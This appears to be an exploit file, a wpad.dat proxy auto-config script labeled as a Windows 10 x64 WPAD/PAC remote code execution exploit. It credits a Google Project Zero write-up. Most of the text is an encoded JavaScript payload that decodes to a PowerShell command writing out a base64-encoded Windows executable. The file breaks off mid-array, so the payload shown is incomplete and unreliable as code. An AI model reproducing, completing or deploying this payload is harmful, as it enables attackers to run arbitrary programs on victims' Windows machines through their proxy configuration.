WPAD/PAC RCE Exploit working on Windows 10 x64 as documented by Google Project Zero (Source: https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html)

wpad.dat

function FindProxyForURL(url, host) {

var payload = String.fromCharCode(0x6f50,0x6577,0x5372,0x6568,0x6c6c,0x2d20,0x6f43,0x6d6d,0x6e61,0x2064,0x6522,0x6863,0x206f,0x5654,0x5171,0x4141,0x414d,0x4141,0x4541,0x4141,0x4141,0x2f2f,0x4138,0x4c41,0x4167,0x4141,0x4141,0x4141,0x4141,0x4151,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4136,0x4141,0x4141,0x6634,0x6775,0x4134,0x4174,0x4e6e,0x6249,0x4267,0x4d54,0x6830,0x4756,0x7068,0x7963,0x7742,0x6d63,0x6e39,0x6d63,0x7446,0x4749,0x684e,0x6d62,0x7635,0x4364,0x6942,0x535a,0x7942,0x5764,0x6734,0x5761,0x6734,0x4552,0x5439,0x4749,0x7631,0x475a,0x7555,0x5144,0x4b30,0x414a,0x4141,0x4141,0x4141,0x4141,0x5a43,0x4371,0x4b48,0x6333,0x506c,0x646d,0x4a33,0x3554,0x646e,0x5579,0x5a2b,0x7172,0x4a74,0x4e6d,0x4a2f,0x3554,0x756d,0x3071,0x5936,0x4d31,0x506c,0x646d,0x4a33,0x7054,0x446e,0x5579,0x5a2b,0x7146,0x4c70,0x4e6d,0x4a7a,0x3554,0x576b,0x6b71,0x5971,0x3833,0x506c,0x526d,0x7161,0x4a73,0x636e,0x5579,0x5a2b,0x7146,0x4e70,0x4e6d,0x4a7a,0x3554,0x536c,0x5761,0x6f4e,0x6333,0x506c,0x516d,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4641,0x4642,0x4141,0x6b42,0x6768,0x4159,0x7842,0x4467,0x6757,0x4141,0x4141,0x4141,0x4141,0x4141,0x4138,0x6941,0x4141,0x4373,0x6744,0x4173,0x6743,0x4141,0x4241,0x4134,0x4141,0x4141,0x4141,0x7744,0x4146,0x4141,0x4241,0x4141,0x4141,0x4141,0x4541,0x4241,0x4141,0x4141,0x4241,0x4141,0x4141,0x4341,0x4141,0x4741,0x4141,0x4141,0x4141,0x4141,0x4141,0x4159,0x4141,0x4141,0x4141,0x4141,0x4941,0x4141,0x4141,0x4541,0x4141,0x4141,0x4141,0x4141,0x7741,0x6742,0x5167,0x4141,0x4145,0x4141,0x4141,0x4141,0x4241,0x4141,0x4141,0x4141,0x4141,0x4141,0x4241,0x4141,0x4141,0x4141,0x4141,0x5141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4241,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4f41,0x7741,0x4141,0x6b42,0x4141,0x4141,0x4741,0x4141,0x4f41,0x4241,0x4141,0x4141,0x4155,0x4141,0x417a,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4841,0x4141,0x4841,0x4167,0x4141,0x7742,0x674c,0x4141,0x4156,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4149,0x4141,0x4145,0x4145,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4341,0x3035,0x585a,0x3068,0x4141,0x4141,0x676c,0x4167,0x4141,0x5141,0x4141,0x4141,0x6743,0x4141,0x4141,0x4151,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4341,0x4141,0x4741,0x7541,0x6d63,0x6852,0x4764,0x4145,0x4f41,0x5567,0x4141,0x4141,0x4149,0x4141,0x4241,0x4159,0x4141,0x4f41,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4142,0x4141,0x4142,0x6d4c,0x6852,0x4764,0x4145,0x4141,0x4143,0x4141,0x4141,0x4541,0x4141,0x4141,0x4341,0x4141,0x4141,0x414a,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4151,0x4141,0x4377,0x7735,0x475a,0x3046,0x5159,0x4141,0x417a,0x4141,0x4141,0x5142,0x4141,0x4141,0x6741,0x4141,0x4341,0x4159,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4541,0x4141,0x4541,0x7541,0x6e63,0x794e,0x7759,0x4141,0x4f41,0x4241,0x4141,0x4141,0x4159,0x4141,0x4141,0x4149,0x4141,0x6f41,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4142,0x4141,0x4142,0x6e4c,0x6c4a,0x4762,0x6a39,0x4141,0x3442,0x4141,0x4141,0x4841,0x4141,0x4141,0x4341,0x4141,0x4141,0x674b,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4151,0x4141,0x6751,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4541,0x4e69,0x5542,0x5345,0x4141,0x4844,0x5251,0x4241,0x4141,0x4141,0x4953,0x426b,0x4953,0x4630,0x4265,0x4149,0x4541,0x4a69,0x5151,0x4968,0x3869,0x4946,0x5669,0x5945,0x3077,0x5442,0x4953,0x7350,0x4549,0x4c69,0x6632,0x5638,0x5139,0x4138,0x4541,0x4c79,0x7a77,0x5350,0x4953,0x4976,0x4953,0x4550,0x4649,0x4974,0x792f,0x5258,0x7744,0x4141,0x4d7a,0x4149,0x4d41,0x4978,0x3867,0x5145,0x5936,0x4538,0x4141,0x4d44,0x4d7a,0x4978,0x2b67,0x496b,0x6536,0x2f76,0x2f2f,0x4d2f,0x4d7a,0x4178,0x3055,0x4469,0x4837,0x4443,0x7679,0x7a38,0x6679,0x5638,0x772b,0x4138,0x4441,0x4a50,0x782f,0x6256,0x4145,0x4141,0x4953,0x4e30,0x4242,0x414d,0x4f41,0x3367,0x5141,0x4141,0x4954,0x4532,0x494a,0x4167,0x4141,0x3643,0x5141,0x4141,0x4441,0x4a50,0x782f,0x4356,0x4145,0x4141,0x3869,0x6f6a,0x777a,0x4141,0x4541,0x4c69,0x436a,0x4953,0x4141,0x4141,0x4954,0x4d32,0x4a4a,0x4141,0x4141,0x4642,0x384d,0x3643,0x6845,0x4141,0x5041,0x5638,0x524a,0x4141,0x4941,0x4976,0x4b36,0x416f,0x4141,0x3543,0x4149,0x4141,0x4f41,0x5168,0x2f2f,0x2f2f,0x394d,0x4974,0x6368,0x3042,0x3045,0x4c69,0x436c,0x5153,0x4141,0x4141,0x4953,0x4976,0x4236,0x2f58,0x2f2f,0x4939,0x3969,0x4968,0x566a,0x6b51,0x4551,0x4e69,0x6144,0x5359,0x4141,0x2f44,0x5146,0x5141,0x4141,0x7a41,0x4577,0x4e69,0x6544,0x5363,0x4141,0x4942,0x5569,0x6b51,0x4557,0x4a69,0x4352,0x6752,0x4953,0x4630,0x684a,0x4163,0x4541,0x4a69,0x4352,0x5152,0x4a36,0x4177,0x4141,0x4942,0x556a,0x494d,0x6251,0x456b,0x4141,0x4141,0x5053,0x6266,0x4953,0x5531,0x454a,0x4942,0x3847,0x466c,0x384d,0x4942,0x3849,0x4968,0x556a,0x6b51,0x4555,0x4a69,0x4352,0x7751,0x3078,0x6b51,0x414b,0x4145,0x4141,0x4942,0x5569,0x6b77,0x4449,0x4a50,0x782f,0x7956,0x7744,0x4141,0x4953,0x4e30,0x7875,0x4149,0x4f41,0x5768,0x4141,0x4141,0x384d,0x4942,0x3867,0x7752,0x3857,0x4d50,0x457a,0x4469,0x4337,0x4669,0x5879,0x4d6b,0x4953,0x4e30,0x5239,0x4145,0x4f41,0x3467,0x4141,0x4141,0x4953,0x4550,0x4d4b,0x4d50,0x4d7a,0x4978,0x3069,0x516b,0x4953,0x4273,0x5053,0x6739,0x4d53,0x4978,0x3069,0x516b,0x4954,0x5273,0x6653,0x6939,0x4d4f,0x4978,0x3069,0x516b,0x4954,0x5273,0x6653,0x6939,0x4d4b,0x4978,0x3069,0x516b,0x4954,0x5273,0x6653,0x6939,0x4d47,0x4978,0x792f,0x6857,0x6744,0x4141,0x457a,0x2f6a,0x574a,0x4f6b,0x4141,0x4d44,0x4953,0x4a74,0x4545,0x4c69,0x5541,0x2f6a,0x4759,0x4d44,0x384d,0x4444,0x457a,0x4c69,0x5253,0x4d42,0x7869,0x4a46,0x322f,0x594a,0x457a,0x4c69,0x4352,0x3451,0x7778,0x4141,0x4142,0x4141,0x384d,0x4444,0x4d7a,0x4978,0x3169,0x6b51,0x454f,0x4e69,0x5244,0x5267,0x4141,0x4942,0x792f,0x7058,0x6744,0x4141,0x457a,0x4c69,0x6b79,0x3447,0x4163,0x4141,0x4541,0x4e69,0x6546,0x7441,0x4141,0x7044,0x7770,0x4149,0x4d41,0x4d7a,0x457a,0x4c69,0x5253,0x4d42,0x7869,0x4a46,0x322f,0x414a,0x457a,0x4c69,0x5253,0x4d42,0x7869,0x4a46,0x322f,0x7749,0x457a,0x4c69,0x5253,0x4d42,0x7869,0x4a46,0x322f,0x6749,0x457a,0x4a69,0x4358,0x4951,0x4953,0x306c,0x424a,0x5842,0x4953,0x7350,0x4549,0x446d,0x4149,0x4942,0x2f69,0x494a,0x3969,0x496c,0x526a,0x5558,0x5146,0x4141,0x4953,0x4f76,0x5953,0x3476,0x4236,0x4545,0x4141,0x4643,0x4877,0x5455,0x4953,0x5630,0x686e,0x4173,0x4541,0x4c69,0x757a,0x2b6a,0x7741,0x4141,0x6368,0x3042,0x5542,0x4a69,0x2b48,0x6a73,0x4953,0x5630,0x6878,0x416b,0x4541,0x4c69,0x757a,0x6d6a,0x7741,0x4141,0x6368,0x3042,0x5548,0x4e69,0x7753,0x4968,0x3939,0x4974,0x3847,0x4942,0x3849,0x4946,0x5169,0x4964,0x7769,0x4939,0x7769,0x2f48,0x4155,0x7a67,0x4f77,0x4673,0x4175,0x414a,0x4941,0x4942,0x3169,0x6b77,0x454d,0x4c69,0x4364,0x3451,0x4953,0x4550,0x4649,0x442f,0x4953,0x7050,0x4f43,0x726c,0x2f2f,0x2f2f,0x4d7a,0x4d7a,0x4953,0x4250,0x4f45,0x726e,0x5141,0x4141,0x4d7a,0x4d7a,0x4953,0x7050,0x4f43,0x726e,0x2f2f,0x2f2f,0x4d7a,0x4d7a,0x384d,0x4444,0x457a,0x4c69,0x5253,0x4942,0x7769,0x4946,0x322f,0x6f42,0x4c7a,0x4667,0x4151,0x4143,0x3877,0x4d7a,0x4651,0x494e,0x6567,0x677a,0x4141,0x4141,0x4953,0x4e30,0x414e,0x4134,0x4541,0x4c69,0x7532,0x5569,0x762f,0x2f2f,0x4953,0x394d,0x4352,0x4130,0x4141,0x5041,0x5068,0x4159,0x4141,0x4942,0x3869,0x2f76,0x5546,0x4e55,0x4141,0x4643,0x4177,0x462b,0x5135,0x4141,0x4541,0x4e69,0x5244,0x4f59,0x4141,0x6f44,0x6661,0x2f37,0x2f2f,0x5638,0x772b,0x4177,0x4541,0x4e79,0x436a,0x4151,0x5141,0x4141,0x7675,0x4238,0x7744,0x4942,0x3869,0x4268,0x4175,0x4145,0x4141,0x2f44,0x5946,0x4d38,0x4141,0x4643,0x4877,0x4d55,0x4953,0x4e30,0x412f,0x4130,0x4f41,0x3367,0x762f,0x2f2f,0x3275,0x4167,0x4141,0x4942,0x556a,0x6b77,0x4563,0x4c53,0x7a77,0x5350,0x4236,0x4563,0x4141,0x4942,0x3469,0x6b77,0x4141,0x4145,0x4541,0x4e69,0x6542,0x4e77,0x4141,0x4942,0x5969,0x6b51,0x4167,0x4141,0x4541,0x4e79,0x5244,0x4f55,0x4141,0x7a41,0x4977,0x636c,0x484a,0x4942,0x5569,0x6b51,0x4555,0x7a55,0x4577,0x4a69,0x4352,0x5952,0x394d,0x494a,0x5569,0x6b51,0x4559,0x4e69,0x4352,0x5152,0x4953,0x456c,0x454a,0x4942,0x556a,0x6b51,0x4563,0x4a69,0x4352,0x3451,0x4953,0x6b4e,0x444a,0x4141,0x4953,0x6b4e,0x434a,0x4167,0x3078,0x6b51,0x4249,0x4141,0x4141,0x4d42,0x5169,0x3031,0x414c,0x4141,0x782f,0x3258,0x7743,0x4141,0x4953,0x4e30,0x7739,0x4130,0x4941,0x4158,0x4164,0x4964,0x516a,0x4d30,0x6744,0x4141,0x4a36,0x392f,0x2f2f,0x2f2f,0x5846,0x4d6b,0x4141,0x7a41,0x6679,0x5638,0x5147,0x4177,0x4d41,0x7a77,0x4577,0x4269,0x4f78,0x4141,0x4141,0x6242,0x3877,0x4978,0x3069,0x516b,0x4953,0x4273,0x5053,0x6739,0x4d65,0x4978,0x3069,0x516b,0x4954,0x5273,0x6653,0x6939,0x4d63,0x4978,0x3069,0x516b,0x4953,0x4273,0x5053,0x672b,0x4167,0x4141,0x4d41,0x4d7a,0x4953,0x636c,0x414a,0x4968,0x5869,0x6b51,0x4645,0x4964,0x2b67,0x6777,0x4953,0x4a74,0x4545,0x4c69,0x6b38,0x4c69,0x6641,0x512b,0x4169,0x4141,0x4941,0x3476,0x6368,0x3442,0x724a,0x456b,0x4141,0x4141,0x782f,0x6356,0x4144,0x4141,0x6251,0x4567,0x4141,0x4141,0x4953,0x5630,0x777a,0x4134,0x4541,0x4c69,0x4579,0x4c69,0x4f32,0x676a,0x6741,0x4141,0x4953,0x656b,0x4953,0x6374,0x444a,0x4c43,0x3078,0x4c69,0x4364,0x3451,0x4953,0x4550,0x4649,0x442f,0x4d7a,0x4d7a,0x4175,0x4156,0x4941,0x4444,0x4d7a,0x4978,0x7769,0x4646,0x384d,0x496c,0x322f,0x6741,0x4d7a,0x4479,0x5079,0x772f,0x3844,0x4245,0x382f,0x446a,0x4d7a,0x3479,0x5141,0x4141,0x5041,0x5041,0x5177,0x2f48,0x4d77,0x494e,0x3869,0x4952,0x5669,0x4967,0x4953,0x776c,0x4645,0x4964,0x2b67,0x4178,0x3267,0x6744,0x4541,0x4447,0x6679,0x4939,0x3267,0x5944,0x4441,0x5350,0x6575,0x396e,0x4141,0x4a42,0x2f69,0x2f44,0x5546,0x4c4d,0x4141,0x4c43,0x492b,0x5530,0x5152,0x4151,0x4141,0x4942,0x3959,0x2f72,0x6646,0x4b6b,0x4141,0x4d42,0x3869,0x7a4d,0x6b30,0x4c69,0x5079,0x5638,0x7732,0x416f,0x4541,0x4447,0x6679,0x4a2b,0x4366,0x6f51,0x4954,0x4776,0x4953,0x456c,0x434a,0x7a41,0x7230,0x706e,0x512f,0x4141,0x4953,0x5976,0x782f,0x4455,0x7743,0x4141,0x5452,0x4a50,0x4953,0x646b,0x5345,0x4173,0x4541,0x7a55,0x4477,0x5350,0x384d,0x2f6e,0x6346,0x4b77,0x4141,0x4942,0x3267,0x6b51,0x414b,0x4d42,0x516a,0x6a58,0x762b,0x2f2f,0x3267,0x6b51,0x4149,0x4d42,0x3869,0x7a67,0x6a30,0x4a50,0x4953,0x5976,0x782f,0x3657,0x6743,0x4141,0x5452,0x4a50,0x5452,0x4150,0x384d,0x426c,0x586a,0x4b6b,0x3969,0x2f66,0x6546,0x4b34,0x4141,0x4642,0x384d,0x4d6c,0x516a,0x6b57,0x6744,0x4141,0x3969,0x4964,0x516a,0x3731,0x6744,0x4141,0x782f,0x3158,0x6743,0x4141,0x6368,0x3142,0x4561,0x4c69,0x6144,0x7149,0x4141,0x4942,0x516a,0x2f55,0x662f,0x2f2f,0x4953,0x456c,0x444a,0x4542,0x556a,0x4739,0x3067,0x6b77,0x504b,0x4639,0x384d,0x7a41,0x7330,0x4564,0x434a,0x5344,0x4142,0x4141,0x782f,0x4b58,0x6743,0x4141,0x6368,0x3142,0x5950,0x5031,0x3439,0x5876,0x4952,0x4276,0x782f,0x6757,0x6743,0x4141,0x6368,0x3142,0x304d,0x4c69,0x2f79,0x5638,0x7747,0x416f,0x5041,0x5638,0x516c,0x416f,0x4941,0x4158,0x5364,0x4968,0x3169,0x6b77,0x4555,0x4c69,0x4364,0x5952,0x4953,0x4550,0x4651,0x442f,0x3869,0x6f6a,0x6747,0x4141,0x4d41,0x4c79,0x4f79,0x5367,0x4141,0x4141,0x497a,0x4976,0x4136,0x416f,0x4141,0x4d44,0x3869,0x6f6a,0x6741,0x4141,0x4d41,0x4d7a,0x4953,0x7350,0x454b,0x4e69,0x6644,0x4b55,0x4141,0x6f44,0x5059,0x2f76,0x372f,0x426b,0x4141,0x4141,0x782f,0x6458,0x5143,0x4141,0x457a,0x4469,0x4337,0x4968,0x516a,0x5a32,0x6743,0x4141,0x4536,0x3754,0x2f2f,0x342b,0x5542,0x4141,0x4567,0x4469,0x4378,0x446a,0x4d7a,0x4978,0x2b67,0x6f77,0x6251,0x5167,0x4141,0x4141,0x4d36,0x416b,0x4141,0x7a41,0x5979,0x4158,0x3544,0x4254,0x3869,0x4946,0x3867,0x6f51,0x3877,0x4d7a,0x457a,0x5442,0x4953,0x7350,0x4549,0x4c69,0x6632,0x5638,0x5163,0x416b,0x4541,0x4c79,0x7a77,0x5350,0x4953,0x4976,0x4953,0x4550,0x4649,0x4974,0x792f,0x4e56,0x5143,0x4141,0x457a,0x5442,0x4953,0x7350,0x4549,0x4c69,0x6632,0x5638,0x5154,0x416b,0x4541,0x4c79,0x7a77,0x5350,0x4953,0x4976,0x4953,0x4550,0x4649,0x4974,0x792f,0x7855,0x5143,0x4141,0x4c7a,0x4667,0x4151,0x4143,0x3877,0x4d7a,0x4953,0x7350,0x454b,0x4e69,0x5344,0x4b30,0x4141,0x6f44,0x5075,0x2f72,0x372f,0x4667,0x4151,0x4143,0x4953,0x4550,0x4d4b,0x4d50,0x457a,0x4469,0x4337,0x4968,0x516a,0x4230,0x6743,0x4141,0x4a36,0x367a,0x2f2f,0x7a38,0x4577,0x4469,0x4378,0x446a,0x457a,0x4469,0x4337,0x4968,0x516a,0x4a30,0x6743,0x4141,0x4936,0x3654,0x2f2f,0x342b,0x5542,0x4141,0x4567,0x4469,0x4378,0x446a,0x4d7a,0x7a77,0x4d77,0x4d50,0x4953,0x7350,0x504b,0x5638,0x6749,0x416b,0x4441,0x4150,0x4953,0x4550,0x4d4b,0x4d50,0x4d7a,0x4d78,0x3869,0x4e70,0x6368,0x3042,0x4547,0x7277,0x5979,0x426f,0x6653,0x492f,0x5951,0x556f,0x5443,0x4372,0x5164,0x4974,0x382f,0x4e46,0x6368,0x3142,0x7a36,0x4150,0x7777,0x322b,0x6779,0x322b,0x4377,0x4276,0x3077,0x7a55,0x6b30,0x4632,0x4877,0x6251,0x4954,0x4a76,0x4353,0x5276,0x6f51,0x456f,0x6b43,0x2f48,0x6b77,0x4947,0x5541,0x2f6e,0x5577,0x6a6c,0x6b77,0x376b,0x4877,0x724c,0x4953,0x4276,0x3877,0x4978,0x5869,0x6b77,0x4443,0x2f50,0x4954,0x4a76,0x5954,0x4158,0x4264,0x2f62,0x3078,0x6a68,0x3078,0x376b,0x4877,0x324c,0x5753,0x4950,0x5953,0x3576,0x4153,0x2b2b,0x7677,0x714f,0x4953,0x3874,0x414a,0x4a68,0x3869,0x4448,0x792f,0x5157,0x4143,0x4141,0x792f,0x3656,0x4143,0x4141,0x792f,0x4556,0x4143,0x4141,0x792f,0x6555,0x4143,0x4141,0x792f,0x6755,0x4143,0x4141,0x792f,0x6955,0x4143,0x4141,0x792f,0x6b55,0x4143,0x4141,0x792f,0x6556,0x4143,0x4141,0x792f,0x6f55,0x4143,0x4141,0x792f,0x7155,0x4143,0x4141,0x792f,0x7355,0x4143,0x4141,0x792f,0x7555,0x4143,0x4141,0x792f,0x7755,0x4143,0x4141,0x792f,0x5358,0x7742,0x4141,0x792f,0x4558,0x7742,0x4141,0x792f,0x2b57,0x4143,0x4141,0x792f,0x7757,0x4143,0x4141,0x792f,0x6957,0x4143,0x4141,0x792f,0x5557,0x4143,0x4141,0x792f,0x4757,0x4143,0x4141,0x792f,0x3456,0x4143,0x4141,0x792f,0x7156,0x4143,0x4141,0x792f,0x3855,0x4143,0x4141,0x792f,0x4f56,0x4143,0x4141,0x792f,0x4156,0x4143,0x4141,0x792f,0x7955,0x4143,0x4141,0x792f,0x4555,0x4143,0x4141,0x792f,0x5755,0x4143,0x4141,0x792f,0x4955,0x4143,0x4141,0x792f,0x3658,0x7742,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x5742,0x774d,0x4141,0x4141,0x4141,0x4541,0x7a51,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x5343,0x674d,0x4141,0x4141,0x4141,0x4a41,0x7934,0x4141,0x4141,0x4141,0x4141,0x6a71,0x4149,0x4141,0x4141,0x4141,0x3843,0x674d,0x4141,0x4141,0x4141,0x4841,0x7977,0x4141,0x4141,0x4141,0x4141,0x6a33,0x4149,0x4141,0x4141,0x4141,0x7544,0x674d,0x4141,0x4141,0x4141,0x5041,0x7977,0x4141,0x4141,0x4141,0x4141,0x4444,0x414d,0x4141,0x4141,0x4141,0x6741,0x774d,0x4141,0x4141,0x4141,0x4741,0x7959,0x4141,0x4141,0x4141,0x4141,0x4479,0x4149,0x4141,0x4141,0x4141,0x5942,0x674d,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x6a67,0x4151,0x4141,0x4141,0x4141,0x4b44,0x414e,0x4141,0x4141,0x4141,0x4b41,0x3077,0x4141,0x4141,0x4141,0x4141,0x6a6d,0x4151,0x4141,0x4141,0x4141,0x6b41,0x414e,0x4141,0x4141,0x4141,0x4741,0x3067,0x4141,0x4141,0x4141,0x4141,0x6a54,0x4151,0x4141,0x4141,0x4141,0x3241,0x414e,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x6a2f,0x414d,0x4141,0x4141,0x4141,0x7544,0x774d,0x4141,0x4141,0x4141,0x4e41,0x7a49,0x4141,0x4141,0x4141,0x4141,0x6a73,0x414d,0x4141,0x4141,0x4141,0x6743,0x774d,0x4141,0x4141,0x4141,0x4a41,0x7a41,0x4141,0x4141,0x4141,0x4141,0x6a66,0x414d,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4541,0x764e,0x5862,0x7342,0x585a,0x5168,0x5761,0x6e35,0x6743,0x4141,0x4141,0x5442,0x585a,0x324a,0x585a,0x424a,0x4762,0x326c,0x515a,0x416f,0x4141,0x4141,0x6d55,0x7a56,0x3262,0x3278,0x555a,0x3439,0x5761,0x7951,0x6743,0x4141,0x4641,0x6c4e,0x6e63,0x6c5a,0x6b63,0x7346,0x5861,0x6c5a,0x674d,0x416f,0x4141,0x4642,0x6e63,0x764a,0x6963,0x6734,0x4541,0x684e,0x4762,0x6978,0x5759,0x724e,0x6743,0x4141,0x4141,0x4141,0x4141,0x4a42,0x5862,0x6c42,0x6e63,0x764e,0x6d62,0x3046,0x575a,0x3651,0x4349,0x7534,0x674c,0x4141,0x4141,0x4141,0x4141,0x5042,0x4763,0x7556,0x4756,0x7968,0x575a,0x6b46,0x4756,0x7239,0x575a,0x6734,0x6d5a,0x7046,0x4762,0x6b56,0x4141,0x5442,0x4741,0x4155,0x6763,0x3242,0x4741,0x416b,0x7759,0x6c42,0x4341,0x4130,0x414d,0x3442,0x4441,0x4141,0x514c,0x7a41,0x4741,0x4155,0x774e,0x6b41,0x4641,0x4177,0x4152,0x6c42,0x4741,0x4159,0x5159,0x3142,0x4741,0x4177,0x4164,0x4141,0x4141,0x4141,0x4141,0x4141,0x4541,0x414d,0x674f,0x6342,0x4641,0x4163,0x5161,0x7542,0x4741,0x4151,0x7762,0x3342,0x4841,0x414d,0x4158,0x5442,0x4841,0x416b,0x7763,0x3042,0x4741,0x4155,0x5162,0x7a41,0x4441,0x4149,0x4158,0x6a42,0x4741,0x4130,0x415a,0x7541,0x4741,0x4155,0x4165,0x6c42,0x4141,0x4141,0x3351,0x6c4a,0x5859,0x6c52,0x4855,0x764a,0x3259,0x7a56,0x3163,0x7064,0x4764,0x5568,0x3262,0x6c74,0x6c62,0x6763,0x6d5a,0x7046,0x4862,0x414d,0x4141,0x4442,0x6d63,0x6856,0x4764,0x5156,0x6d63,0x6a39,0x585a,0x7a4e,0x3256,0x306c,0x4661,0x7652,0x3261,0x7556,0x7956,0x7a42,0x5764,0x6a4e,0x585a,0x7a4e,0x4541,0x5377,0x4541,0x4241,0x4141,0x4141,0x4254,0x4141,0x4151,0x4145,0x4141,0x6b44,0x6745,0x4142,0x5141,0x4141,0x5041,0x5277,0x4541,0x4241,0x4141,0x4141,0x4237,0x4145,0x4151,0x4145,0x4141,0x5141,0x6745,0x4142,0x5141,0x4141,0x4d41,0x5551,0x4541,0x4241,0x4141,0x4141,0x422f,0x4149,0x4151,0x4145,0x4141,0x6344,0x5145,0x4142,0x5141,0x4141,0x4e41,0x5367,0x4541,0x4241,0x4141,0x4141,0x4257,0x4141,0x4151,0x4145,0x4141,0x7744,0x6745,0x4142,0x5141,0x4141,0x4c41,0x5251,0x4541,0x4241,0x4141,0x4141,0x4251,0x4149,0x4151,0x4145,0x4141,0x6f43,0x5145,0x4142,0x5141,0x4141,0x4441,0x